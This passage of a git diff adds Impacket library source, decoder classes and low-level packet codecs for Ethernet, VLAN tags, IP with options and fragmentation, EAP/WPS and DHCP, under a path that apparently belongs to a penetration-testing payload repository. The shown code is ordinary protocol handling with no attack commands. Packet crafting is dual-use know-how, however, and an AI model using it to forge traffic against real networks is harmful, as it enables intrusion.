__init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementDisassociation(aBuffer) + self.set_decoded_protocol(p) + + return p + +class Dot11ManagementAssociationRequestDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementAssociationRequest(aBuffer) + self.set_decoded_protocol(p) + + return p + +class Dot11ManagementAssociationResponseDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementAssociationResponse(aBuffer) + self.set_decoded_protocol(p) + + return p + +class Dot11ManagementReassociationRequestDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementReassociationRequest(aBuffer) + self.set_decoded_protocol(p) + + return p + +class Dot11ManagementReassociationResponseDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementReassociationResponse(aBuffer) + self.set_decoded_protocol(p) + + return p + +class BaseDecoder(Decoder): + + def decode(self, buff): + + packet = self.klass(buff) + self.set_decoded_protocol(packet) + cd = self.child_decoders.get(self.child_key(packet), DataDecoder()) + packet.contains(cd.decode(packet.get_body_as_string())) + return packet + +class SimpleConfigDecoder(BaseDecoder): + + child_decoders = {} + klass = wps.SimpleConfig + child_key = lambda s,p: None + + def decode(self, buff): + sc = BaseDecoder.decode(self, buff) + ary = array.array('B', sc.child().get_packet()) + sc.unlink_child() + tlv = wps.SimpleConfig.build_tlv_container() + tlv.from_ary(ary) + sc.contains(tlv) + + return sc + +class EAPExpandedDecoder(BaseDecoder): + child_decoders = { + (eap.EAPExpanded.WFA_SMI, eap.EAPExpanded.SIMPLE_CONFIG): SimpleConfigDecoder(), + } + klass = eap.EAPExpanded + child_key = lambda s,p: (p.get_vendor_id(), p.get_vendor_type()) + +class EAPRDecoder(BaseDecoder): + child_decoders = { + eap.EAPR.EXPANDED:EAPExpandedDecoder() + } + klass = eap.EAPR + child_key = lambda s, p: p.get_type() + +class EAPDecoder(BaseDecoder): + child_decoders = { + eap.EAP.REQUEST: EAPRDecoder(), + eap.EAP.RESPONSE: EAPRDecoder(), + } + klass = eap.EAP + child_key = lambda s, p: p.get_code() + +class EAPOLDecoder(BaseDecoder): + child_decoders = { + eap.EAPOL.EAP_PACKET: EAPDecoder() + } + klass = eap.EAPOL + child_key = lambda s, p: p.get_packet_type() + +class BootpDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + d = dhcp.BootpPacket(aBuffer) + self.set_decoded_protocol( d ) + off = len(d.getData()) + if dhcp.DhcpPacket(aBuffer[off:])['cookie'] == dhcp.DhcpPacket.MAGIC_NUMBER: + self.data_decoder = DHCPDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + d.contains(packet) + return d + +class DHCPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + d = dhcp.DhcpPacket(aBuffer) + self.set_decoded_protocol( d ) + return d diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/ImpactPacket.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/ImpactPacket.py new file mode 100644 index 0000000..2015345 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/ImpactPacket.py @@ -0,0 +1,2126 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Network packet codecs basic building blocks. +# Low-level packet codecs for various Internet protocols. +# +# Author: +# Javier Burroni (javier) +# Bruce Leidl (brl) +# Javier Kohen (jkohen) + +import array +import struct +import socket +import string +import sys +from binascii import hexlify + +"""Classes to build network packets programmatically. + +Each protocol layer is represented by an object, and these objects are +hierarchically structured to form a packet. This list is traversable +in both directions: from parent to child and vice versa. + +All objects can be turned back into a raw buffer ready to be sent over +the wire (see method get_packet). +""" + +class ImpactPacketException(Exception): + def __init__(self, value): + self.value = value + def __str__(self): + return `self.value` + +class PacketBuffer(object): + """Implement the basic operations utilized to operate on a + packet's raw buffer. All the packet classes derive from this one. + + The byte, word, long and ip_address getters and setters accept + negative indexes, having these the a similar effect as in a + regular Python sequence slice. + """ + + def __init__(self, length = None): + "If 'length' is specified the buffer is created with an initial size" + if length: + self.__bytes = array.array('B', '\0' * length) + else: + self.__bytes = array.array('B') + + def set_bytes_from_string(self, data): + "Sets the value of the packet buffer from the string 'data'" + self.__bytes = array.array('B', data) + + def get_buffer_as_string(self): + "Returns the packet buffer as a string object" + return self.__bytes.tostring() + + def get_bytes(self): + "Returns the packet buffer as an array" + return self.__bytes + + def set_bytes(self, bytes): + "Set the packet buffer from an array" + # Make a copy to be safe + self.__bytes = array.array('B', bytes.tolist()) + + def set_byte(self, index, value): + "Set byte at 'index' to 'value'" + index = self.__validate_index(index, 1) + self.__bytes[index] = value + + def get_byte(self, index): + "Return byte at 'index'" + index = self.__validate_index(index, 1) + return self.__bytes[index] + + def set_word(self, index, value, order = '!'): + "Set 2-byte word at 'index' to 'value'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 2) + ary = array.array("B", struct.pack(order + 'H', value)) + if -2 == index: + self.__bytes[index:] = ary + else: + self.__bytes[index:index+2] = ary + + def get_word(self, index, order = '!'): + "Return 2-byte word at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 2) + if -2 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+2] + (value,) = struct.unpack(order + 'H', bytes.tostring()) + return value + + def set_long(self, index, value, order = '!'): + "Set 4-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 4) + ary = array.array("B", struct.pack(order + 'L', value)) + if -4 == index: + self.__bytes[index:] = ary + else: + self.__bytes[index:index+4] = ary + + def get_long(self, index, order = '!'): + "Return 4-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 4) + if -4 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+4] + (value,) = struct.unpack(order + 'L', bytes.tostring()) + return value + + def set_long_long(self, index, value, order = '!'): + "Set 8-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 8) + ary = array.array("B", struct.pack(order + 'Q', value)) + if -8 == index: + self.__bytes[index:] = ary + else: + self.__bytes[index:index+8] = ary + + def get_long_long(self, index, order = '!'): + "Return 8-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 8) + if -8 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+8] + (value,) = struct.unpack(order + 'Q', bytes.tostring()) + return value + + + def get_ip_address(self, index): + "Return 4-byte value at 'index' as an IP string" + index = self.__validate_index(index, 4) + if -4 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+4] + return socket.inet_ntoa(bytes.tostring()) + + def set_ip_address(self, index, ip_string): + "Set 4-byte value at 'index' from 'ip_string'" + index = self.__validate_index(index, 4) + raw = socket.inet_aton(ip_string) + (b1,b2,b3,b4) = struct.unpack("BBBB", raw) + self.set_byte(index, b1) + self.set_byte(index + 1, b2) + self.set_byte(index + 2, b3) + self.set_byte(index + 3, b4) + + def set_checksum_from_data(self, index, data): + "Set 16-bit checksum at 'index' by calculating checksum of 'data'" + self.set_word(index, self.compute_checksum(data)) + + def compute_checksum(self, anArray): + "Return the one's complement of the one's complement sum of all the 16-bit words in 'anArray'" + nleft = len(anArray) + sum = 0 + pos = 0 + while nleft > 1: + sum = anArray[pos] * 256 + (anArray[pos + 1] + sum) + pos = pos + 2 + nleft = nleft - 2 + if nleft == 1: + sum = sum + anArray[pos] * 256 + return self.normalize_checksum(sum) + + def normalize_checksum(self, aValue): + sum = aValue + sum = (sum >> 16) + (sum & 0xFFFF) + sum += (sum >> 16) + sum = (~sum & 0xFFFF) + return sum + + def __validate_index(self, index, size): + """This method performs two tasks: to allocate enough space to + fit the elements at positions index through index+size, and to + adjust negative indexes to their absolute equivalent. + """ + + orig_index = index + + curlen = len(self.__bytes) + if index < 0: + index = curlen + index + + diff = index + size - curlen + if diff > 0: + self.__bytes.fromstring('\0' * diff) + if orig_index < 0: + orig_index -= diff + + return orig_index + +class ProtocolLayer(): + "Protocol Layer Manager for insertion and removal of protocol layers." + + __child = None + __parent = None + + def contains(self, aHeader): + "Set 'aHeader' as the child of this protocol layer" + self.__child = aHeader + aHeader.set_parent(self) + + def set_parent(self, my_parent): + "Set the header 'my_parent' as the parent of this protocol layer" + self.__parent = my_parent + + def child(self): + "Return the child of this protocol layer" + return self.__child + + def parent(self): + "Return the parent of this protocol layer" + return self.__parent + + def unlink_child(self): + "Break the hierarchy parent/child child/parent" + if self.__child: + self.__child.set_parent(None) + self.__child = None + +class ProtocolPacket(ProtocolLayer): + __HEADER_SIZE = 0 + __BODY_SIZE = 0 + __TAIL_SIZE = 0 + + __header = None + __body = None + __tail = None + + def __init__(self, header_size, tail_size): + self.__HEADER_SIZE = header_size + self.__TAIL_SIZE = tail_size + self.__header=PacketBuffer(self.__HEADER_SIZE) + self.__body=PacketBuffer() + self.__tail=PacketBuffer(self.__TAIL_SIZE) + + def __update_body_from_child(self): + # Update child raw packet in my body + if self.child(): + body=self.child().get_packet() + self.__BODY_SIZE=len(body) + self.__body.set_bytes_from_string(body) + + def __get_header(self): + return self.__header + + header = property(__get_header) + + def __get_body(self): + self.__update_body_from_child() + return self.__body + + body = property(__get_body) + + def __get_tail(self): + return self.__tail + + tail = property(__get_tail) + + def get_header_size(self): + "Return frame header size" + return self.__HEADER_SIZE + + def get_tail_size(self): + "Return frame tail size" + return self.__TAIL_SIZE + + def get_body_size(self): + "Return frame body size" + self.__update_body_from_child() + return self.__BODY_SIZE + + def get_size(self): + "Return frame total size" + return self.get_header_size()+self.get_body_size()+self.get_tail_size() + + def load_header(self, aBuffer): + self.__HEADER_SIZE=len(aBuffer) + self.__header.set_bytes_from_string(aBuffer) + + def load_body(self, aBuffer): + "Load the packet body from string. "\ + "WARNING: Using this function will break the hierarchy of preceding protocol layer" + self.unlink_child() + self.__BODY_SIZE=len(aBuffer) + self.__body.set_bytes_from_string(aBuffer) + + def load_tail(self, aBuffer): + self.__TAIL_SIZE=len(aBuffer) + self.__tail.set_bytes_from_string(aBuffer) + + def __extract_header(self, aBuffer): + self.load_header(aBuffer[:self.__HEADER_SIZE]) + + def __extract_body(self, aBuffer): + if self.__TAIL_SIZE<=0: + end=None + else: + end=-self.__TAIL_SIZE + self.__BODY_SIZE=len(aBuffer[self.__HEADER_SIZE:end]) + self.__body.set_bytes_from_string(aBuffer[self.__HEADER_SIZE:end]) + + def __extract_tail(self, aBuffer): + if self.__TAIL_SIZE<=0: + # leave the array empty + return + else: + start=-self.__TAIL_SIZE + self.__tail.set_bytes_from_string(aBuffer[start:]) + + def load_packet(self, aBuffer): + "Load the whole packet from a string" \ + "WARNING: Using this function will break the hierarchy of preceding protocol layer" + self.unlink_child() + + self.__extract_header(aBuffer) + self.__extract_body(aBuffer) + self.__extract_tail(aBuffer) + + def get_header_as_string(self): + return self.__header.get_buffer_as_string() + + def get_body_as_string(self): + self.__update_body_from_child() + return self.__body.get_buffer_as_string() + body_string = property(get_body_as_string) + + def get_tail_as_string(self): + return self.__tail.get_buffer_as_string() + tail_string = property(get_tail_as_string) + + def get_packet(self): + self.__update_body_from_child() + + ret = '' + + header = self.get_header_as_string() + if header: + ret += header + + body = self.get_body_as_string() + if body: + ret += body + + tail = self.get_tail_as_string() + if tail: + ret += tail + + return ret + +class Header(PacketBuffer,ProtocolLayer): + "This is the base class from which all protocol definitions extend." + + packet_printable = filter(lambda c: c not in string.whitespace, string.printable) + ' ' + + ethertype = None + protocol = None + def __init__(self, length = None): + PacketBuffer.__init__(self, length) + self.auto_checksum = 1 + + def get_data_as_string(self): + "Returns all data from children of this header as string" + + if self.child(): + return self.child().get_packet() + else: + return None + + def get_packet(self): + """Returns the raw representation of this packet and its + children as a string. The output from this method is a packet + ready to be transmitted over the wire. + """ + self.calculate_checksum() + + data = self.get_data_as_string() + if data: + return self.get_buffer_as_string() + data + else: + return self.get_buffer_as_string() + + def get_size(self): + "Return the size of this header and all of it's children" + tmp_value = self.get_header_size() + if self.child(): + tmp_value = tmp_value + self.child().get_size() + return tmp_value + + def calculate_checksum(self): + "Calculate and set the checksum for this header" + pass + + def get_pseudo_header(self): + "Pseudo headers can be used to limit over what content will the checksums be calculated." + # default implementation returns empty array + return array.array('B') + + def load_header(self, aBuffer): + "Properly set the state of this instance to reflect that of the raw packet passed as argument." + self.set_bytes_from_string(aBuffer) + hdr_len = self.get_header_size() + if(len(aBuffer) < hdr_len): #we must do something like this + diff = hdr_len - len(aBuffer) + for i in range(0, diff): + aBuffer += '\x00' + self.set_bytes_from_string(aBuffer[:hdr_len]) + + def get_header_size(self): + "Return the size of this header, that is, not counting neither the size of the children nor of the parents." + raise RuntimeError("Method %s.get_header_size must be overridden." % self.__class__) + + def list_as_hex(self, aList): + if len(aList): + ltmp = [] + line = [] + count = 0 + for byte in aList: + if not (count % 2): + if (count % 16): + ltmp.append(' ') + else: + ltmp.append(' '*4) + ltmp.append(string.join(line, '')) + ltmp.append('\n') + line = [] + if chr(byte) in Header.packet_printable: + line.append(chr(byte)) + else: + line.append('.') + ltmp.append('%.2x' % byte) + count += 1 + if (count%16): + left = 16 - (count%16) + ltmp.append(' ' * (4+(left / 2) + (left*2))) + ltmp.append(string.join(line, '')) + ltmp.append('\n') + return ltmp + else: + return [] + + def __str__(self): + ltmp = self.list_as_hex(self.get_bytes().tolist()) + + if self.child(): + ltmp.append(['\n', str(self.child())]) + + if len(ltmp)>0: + return string.join(ltmp, '') + else: + return '' + + + +class Data(Header): + """This packet type can hold raw data. It's normally employed to + hold a packet's innermost layer's contents in those cases for + which the protocol details are unknown, and there's a copy of a + valid packet available. + + For instance, if all that's known about a certain protocol is that + a UDP packet with its contents set to "HELLO" initiate a new + session, creating such packet is as simple as in the following code + fragment: + packet = UDP() + packet.contains('HELLO') + """ + + def __init__(self, aBuffer = None): + Header.__init__(self) + if aBuffer: + self.set_data(aBuffer) + + def set_data(self, data): + self.set_bytes_from_string(data) + + def get_size(self): + return len(self.get_bytes()) + + +class EthernetTag(PacketBuffer): + """Represents a VLAN header specified in IEEE 802.1Q and 802.1ad. + Provides methods for convenient manipulation with header fields.""" + + def __init__(self, value=0x81000000): + PacketBuffer.__init__(self, 4) + self.set_long(0, value) + + def get_tpid(self): + """Returns Tag Protocol Identifier""" + return self.get_word(0) + + def set_tpid(self, value): + """Sets Tag Protocol Identifier""" + return self.set_word(0, value) + + def get_pcp(self): + """Returns Priority Code Point""" + return (self.get_byte(2) & 0xE0) >> 5 + + def set_pcp(self, value): + """Sets Priority Code Point""" + orig_value = self.get_byte(2) + self.set_byte(2, (orig_value & 0x1F) | ((value & 0x07) << 5)) + + def get_dei(self): + """Returns Drop Eligible Indicator""" + return (self.get_byte(2) & 0x10) >> 4 + + def set_dei(self, value): + """Sets Drop Eligible Indicator""" + orig_value = self.get_byte(2) + self.set_byte(2, orig_value | 0x10 if value else orig_value & 0xEF) + + def get_vid(self): + """Returns VLAN Identifier""" + return self.get_word(2) & 0x0FFF + + def set_vid(self, value): + """Sets VLAN Identifier""" + orig_value = self.get_word(2) + self.set_word(2, (orig_value & 0xF000) | (value & 0x0FFF)) + + def __str__(self): + priorities = ( + 'Best Effort', + 'Background', + 'Excellent Effort', + 'Critical Applications', + 'Video, < 100 ms latency and jitter', + 'Voice, < 10 ms latency and jitter', + 'Internetwork Control', + 'Network Control') + + pcp = self.get_pcp() + return '\n'.join(( + '802.1Q header: 0x{0:08X}'.format(self.get_long(0)), + 'Priority Code Point: {0} ({1})'.format(pcp, priorities[pcp]), + 'Drop Eligible Indicator: {0}'.format(self.get_dei()), + 'VLAN Identifier: {0}'.format(self.get_vid()))) + + +class Ethernet(Header): + def __init__(self, aBuffer = None): + Header.__init__(self, 14) + self.tag_cnt = 0 + if(aBuffer): + self.load_header(aBuffer) + + def set_ether_type(self, aValue): + "Set ethernet data type field to 'aValue'" + self.set_word(12 + 4*self.tag_cnt, aValue) + + def get_ether_type(self): + "Return ethernet data type field" + return self.get_word(12 + 4*self.tag_cnt) + + def get_tag(self, index): + """Returns an EthernetTag initialized from index-th VLAN tag. + The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame. + It is possible to use negative indexes as well.""" + index = self.__validate_tag_index(index) + return EthernetTag(self.get_long(12+4*index)) + + def set_tag(self, index, tag): + """Sets the index-th VLAN tag to contents of an EthernetTag object. + The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame. + It is possible to use negative indexes as well.""" + index = self.__validate_tag_index(index) + pos = 12 + 4*index + for i,val in enumerate(tag.get_bytes()): + self.set_byte(pos+i, val) + + def push_tag(self, tag, index=0): + """Inserts contents of an EthernetTag object before the index-th VLAN tag. + Index defaults to 0 (the top of the stack).""" + if index < 0: + index += self.tag_cnt + pos = 12 + 4*max(0, min(index, self.tag_cnt)) + data = self.get_bytes() + data[pos:pos] = tag.get_bytes() + self.set_bytes(data) + self.tag_cnt += 1 + + def pop_tag(self, index=0): + """Removes the index-th VLAN tag and returns it as an EthernetTag object. + Index defaults to 0 (the top of the stack).""" + index = self.__validate_tag_index(index) + pos = 12 + 4*index + tag = self.get_long(pos) + data = self.get_bytes() + del data[pos:pos+4] + self.set_bytes(data) + self.tag_cnt -= 1 + return EthernetTag(tag) + + def load_header(self, aBuffer): + self.tag_cnt = 0 + while aBuffer[12+4*self.tag_cnt:14+4*self.tag_cnt] in ('\x81\x00', '\x88\xa8', '\x91\x00'): + self.tag_cnt += 1 + + hdr_len = self.get_header_size() + diff = hdr_len - len(aBuffer) + if diff > 0: + aBuffer += '\x00'*diff + self.set_bytes_from_string(aBuffer[:hdr_len]) + + def get_header_size(self): + "Return size of Ethernet header" + return 14 + 4*self.tag_cnt + + def get_packet(self): + + if self.child(): + try: + self.set_ether_type(self.child().ethertype) + except: + " an Ethernet packet may have a Data() " + pass + return Header.get_packet(self) + + def get_ether_dhost(self): + "Return 48 bit destination ethernet address as a 6 byte array" + return self.get_bytes()[0:6] + + def set_ether_dhost(self, aValue): + "Set destination ethernet address from 6 byte array 'aValue'" + for i in range(0, 6): + self.set_byte(i, aValue[i]) + + def get_ether_shost(self): + "Return 48 bit source ethernet address as a 6 byte array" + return self.get_bytes()[6:12] + + def set_ether_shost(self, aValue): + "Set source ethernet address from 6 byte array 'aValue'" + for i in range(0, 6): + self.set_byte(i + 6, aValue[i]) + + @staticmethod + def as_eth_addr(anArray): + tmp_list = map(lambda x: x > 15 and '%x'%x or '0%x'%x, anArray) + return '' + reduce(lambda x, y: x+':'+y, tmp_list) + + def __str__(self): + tmp_str = 'Ether: ' + self.as_eth_addr(self.get_ether_shost()) + ' -> ' + tmp_str += self.as_eth_addr(self.get_ether_dhost()) + if self.child(): + tmp_str += '\n' + str( self.child()) + return tmp_str + + def __validate_tag_index(self, index): + """Adjusts negative indices to their absolute equivalents. + Raises IndexError when out of range <0, self.tag_cnt-1>.""" + if index < 0: + index += self.tag_cnt + if index < 0 or index >= self.tag_cnt: + raise IndexError("Tag index out of range") + return index + +# Linux "cooked" capture encapsulation. +# Used, for instance, for packets returned by the "any" interface. +class LinuxSLL(Header): + type_descriptions = [ + "sent to us by somebody else", + "broadcast by somebody else", + "multicast by somebody else", + "sent to somebody else to somebody else", + "sent by us", + ] + + def __init__(self, aBuffer = None): + Header.__init__(self, 16) + if (aBuffer): + self.load_header(aBuffer) + + def set_type(self, type): + "Sets the packet type field to type" + self.set_word(0, type) + + def get_type(self): + "Returns the packet type field" + return self.get_word(0) + + def set_arphdr(self, value): + "Sets the ARPHDR value for the link layer device type" + self.set_word(2, type) + + def get_arphdr(self): + "Returns the ARPHDR value for the link layer device type" + return self.get_word(2) + + def set_addr_len(self, len): + "Sets the length of the sender's address field to len" + self.set_word(4, len) + + def get_addr_len(self): + "Returns the length of the sender's address field" + return self.get_word(4) + + def set_addr(self, addr): + "Sets the sender's address field to addr. Addr must be at most 8-byte long." + if (len(addr) < 8): + addr += '\0' * (8 - len(addr)) + self.get_bytes()[6:14] = addr + + def get_addr(self): + "Returns the sender's address field" + return self.get_bytes()[6:14].tostring() + + def set_ether_type(self, aValue): + "Set ethernet data type field to 'aValue'" + self.set_word(14, aValue) + + def get_ether_type(self): + "Return ethernet data type field" + return self.get_word(14) + + def get_header_size(self): + "Return size of packet header" + return 16 + + def get_packet(self): + if self.child(): + self.set_ether_type(self.child().ethertype) + return Header.get_packet(self) + + def get_type_desc(self): + type = self.get_type() + if type < len(LinuxSLL.type_descriptions): + return LinuxSLL.type_descriptions[type] + else: + return "Unknown" + + def __str__(self): + ss = [] + alen = self.get_addr_len() + addr = hexlify(self.get_addr()[0:alen]) + ss.append("Linux SLL: addr=%s type=`%s'" % (addr, self.get_type_desc())) + if self.child(): + ss.append(str(self.child())) + + return '\n'.join(ss) + + +class IP(Header): + ethertype = 0x800 + def __init__(self, aBuffer = None): + Header.__init__(self, 20) + self.set_ip_v(4) + self.set_ip_hl(5) + self.set_ip_ttl(255) + self.__option_list = [] + if(aBuffer): + # When decoding, checksum shouldn't be modified + self.auto_checksum = 0 + self.load_header(aBuffer) + + if sys.platform.count('bsd'): + self.is_BSD = True + else: + self.is_BSD = False + + + def get_packet(self): + # set protocol + if self.get_ip_p() == 0 and self.child(): + self.set_ip_p(self.child().protocol) + + # set total length + if self.get_ip_len() == 0: + self.set_ip_len(self.get_size()) + + child_data = self.get_data_as_string(); + + if self.auto_checksum: + self.reset_ip_sum() + + my_bytes = self.get_bytes() + + for op in self.__option_list: + my_bytes.extend(op.get_bytes()) + + # Pad to a multiple of 4 bytes + num_pad = (4 - (len(my_bytes) % 4)) % 4 + if num_pad: + my_bytes.fromstring("\0"* num_pad) + + # only change ip_hl value if options are present + if len(self.__option_list): + self.set_ip_hl(len(my_bytes) / 4) + + + # set the checksum if the user hasn't modified it + if self.auto_checksum: + self.set_ip_sum(self.compute_checksum(my_bytes)) + + if child_data == None: + return my_bytes.tostring() + else: + return my_bytes.tostring() + child_data + + + + # def calculate_checksum(self, buffer = None): + # tmp_value = self.get_ip_sum() + # if self.auto_checksum and (not tmp_value): + # if buffer: + # tmp_bytes = buffer + # else: + # tmp_bytes = self.bytes[0:self.get_header_size()] + # + # self.set_ip_sum(self.compute_checksum(tmp_bytes)) + + + def get_pseudo_header(self): + pseudo_buf = array.array("B") + pseudo_buf.extend(self.get_bytes()[12:20]) + pseudo_buf.fromlist([0]) + pseudo_buf.extend(self.get_bytes()[9:10]) + tmp_size = self.child().get_size() + + size_str = struct.pack("!H", tmp_size) + + pseudo_buf.fromstring(size_str) + return pseudo_buf + + def add_option(self, option): + self.__option_list.append(option) + sum = 0 + for op in self.__option_list: + sum += op.get_len() + if sum > 40: + raise ImpactPacketException, "Options overflowed in IP packet with length: %d" % sum + + + def get_ip_v(self): + n = self.get_byte(0) + return (n >> 4) + + def set_ip_v(self, value): + n = self.get_byte(0) + version = value & 0xF + n = n & 0xF + n = n | (version << 4) + self.set_byte(0, n) + + def get_ip_hl(self): + n = self.get_byte(0) + return (n & 0xF) + + def set_ip_hl(self, value): + n = self.get_byte(0) + len = value & 0xF + n = n & 0xF0 + n = (n | len) + self.set_byte(0, n) + + def get_ip_tos(self): + return self.get_byte(1) + + def set_ip_tos(self,value): + self.set_byte(1, value) + + def get_ip_len(self): + if self.is_BSD: + return self.get_word(2, order = '=') + else: + return self.get_word(2) + + def set_ip_len(self, value): + if self.is_BSD: + self.set_word(2, value, order = '=') + else: + self.set_word(2, value) + + def get_ip_id(self): + return self.get_word(4) + def set_ip_id(self, value): + return self.set_word(4, value) + + def get_ip_off(self): + if self.is_BSD: + return self.get_word(6, order = '=') + else: + return self.get_word(6) + + def set_ip_off(self, aValue): + if self.is_BSD: + self.set_word(6, aValue, order = '=') + else: + self.set_word(6, aValue) + + def get_ip_offmask(self): + return self.get_ip_off() & 0x1FFF + + def set_ip_offmask(self, aValue): + tmp_value = self.get_ip_off() & 0xD000 + tmp_value |= aValue + self.set_ip_off(tmp_value) + + def get_ip_rf(self): + return self.get_ip_off() & 0x8000 + + def set_ip_rf(self, aValue): + tmp_value = self.get_ip_off() + if aValue: + tmp_value |= 0x8000 + else: + my_not = 0xFFFF ^ 0x8000 + tmp_value &= my_not + self.set_ip_off(tmp_value) + + def get_ip_df(self): + return self.get_ip_off() & 0x4000 + + def set_ip_df(self, aValue): + tmp_value = self.get_ip_off() + if aValue: + tmp_value |= 0x4000 + else: + my_not = 0xFFFF ^ 0x4000 + tmp_value &= my_not + self.set_ip_off(tmp_value) + + def get_ip_mf(self): + return self.get_ip_off() & 0x2000 + + def set_ip_mf(self, aValue): + tmp_value = self.get_ip_off() + if aValue: + tmp_value |= 0x2000 + else: + my_not = 0xFFFF ^ 0x2000 + tmp_value &= my_not + self.set_ip_off(tmp_value) + + + def fragment_by_list(self, aList): + if self.child(): + proto = self.child().protocol + else: + proto = 0 + + child_data = self.get_data_as_string() + if not child_data: + return [self] + + ip_header_bytes = self.get_bytes() + current_offset = 0 + fragment_list = [] + + for frag_size in aList: + ip = IP() + ip.set_bytes(ip_header_bytes) # copy of original header + ip.set_ip_p(proto) + + + if frag_size % 8: # round this fragment size up to next multiple of 8 + frag_size += 8 - (frag_size % 8) + + + ip.set_ip_offmask(current_offset / 8) + current_offset += frag_size + + data = Data(child_data[:frag_size]) + child_data = child_data[frag_size:] + + ip.set_ip_len(20 + data.get_size()) + ip.contains(data) + + + if child_data: + + ip.set_ip_mf(1) + + fragment_list.append(ip) + else: # no more data bytes left to add to fragments + + ip.set_ip_mf(0) + + fragment_list.append(ip) + return fragment_list + + if child_data: # any remaining data? + # create a fragment containing all of the remaining child_data + ip = IP() + ip.set_bytes(ip_header_bytes) + ip.set_ip_offmask(current_offset) + ip.set_ip_len(20 + len(child_data)) + data = Data(child_data) + ip.contains(data) + fragment_list.append(ip) + + return fragment_list + + + def fragment_by_size(self, aSize): + data_len = len(self.get_data_as_string()) + num_frags = data_len / aSize + + if data_len % aSize: + num_frags += 1 + + size_list = [] + for i in range(0, num_frags): + size_list.append(aSize) + return self.fragment_by_list(size_list) + + + def get_ip_ttl(self): + return self.get_byte(8) + def set_ip_ttl(self, value): + self.set_byte(8, value) + + def get_ip_p(self): + return self.get_byte(9) + + def set_ip_p(self, value): + self.set_byte(9, value) + + def get_ip_sum(self): + return self.get_word(10) + def set_ip_sum(self, value): + self.auto_checksum = 0 + self.set_word(10, value) + + def reset_ip_sum(self): + self.set_ip_sum(0x0000) + self.auto_checksum = 1 + + def get_ip_src(self): + return self.get_ip_address(12) + def set_ip_src(self, value): + self.set_ip_address(12, value) + + def get_ip_dst(self): + return self.get_ip_address(16) + + def set_ip_dst(self, value): + self.set_ip_address(16, value) + + def get_header_size(self): + op_len = 0 + for op in self.__option_list: + op_len += op.get_len() + + num_pad = (4 - (op_len % 4)) % 4 + + return 20 + op_len + num_pad + + def load_header(self, aBuffer): + self.set_bytes_from_string(aBuffer[:20]) + opt_left = (self.get_ip_hl() - 5) * 4 + opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)]) + if len(opt_bytes) != opt_left: + raise ImpactPacketException, "Cannot load options from truncated packet" + + + while opt_left: + op_type = opt_bytes[0] + if op_type == IPOption.IPOPT_EOL or op_type == IPOption.IPOPT_NOP: + new_option = IPOption(op_type) + op_len = 1 + else: + op_len = opt_bytes[1] + if op_len > len(opt_bytes): + raise ImpactPacketException, "IP Option length is too high" + + new_option = IPOption(op_type, op_len) + new_option.set_bytes(opt_bytes[:op_len]) + + opt_bytes = opt_bytes[op_len:] + opt_left -= op_len + self.add_option(new_option) + if op_type == IPOption.IPOPT_EOL: + break + + + def __str__(self): + flags = ' ' + if self.get_ip_df(): flags += 'DF ' + if self.get_ip_mf(): flags += 'MF ' + if self.get_ip_rf(): flags += 'RF ' + tmp_str = 'IP%s%s -> %s ' % (flags, self.get_ip_src(),self.get_ip_dst()) + for op in self.__option_list: + tmp_str += '\n' + str(op) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + +class IPOption(PacketBuffer): + IPOPT_EOL = 0 + IPOPT_NOP = 1 + IPOPT_RR = 7 + IPOPT_TS = 68 + IPOPT_LSRR = 131 + IPOPT_SSRR = 137 + + def __init__(self, opcode = 0, size = None): + if size and (size < 3 or size > 40): + raise ImpactPacketException, "IP Options must have a size between 3 and 40 bytes" + + if(opcode == IPOption.IPOPT_EOL): + PacketBuffer.__init__(self, 1) + self.set_code(IPOption.IPOPT_EOL) + elif(opcode == IPOption.IPOPT_NOP): + PacketBuffer.__init__(self, 1) + self.set_code(IPOption.IPOPT_NOP) + elif(opcode == IPOption.IPOPT_RR): + if not size: + size = 39 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_RR) + self.set_len(size) + self.set_ptr(4) + + elif(opcode == IPOption.IPOPT_LSRR): + if not size: + size = 39 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_LSRR) + self.set_len(size) + self.set_ptr(4) + + elif(opcode == IPOption.IPOPT_SSRR): + if not size: + size = 39 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_SSRR) + self.set_len(size) + self.set_ptr(4) + + elif(opcode == IPOption.IPOPT_TS): + if not size: + size = 40 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_TS) + self.set_len(size) + self.set_ptr(5) + self.set_flags(0) + else: + if not 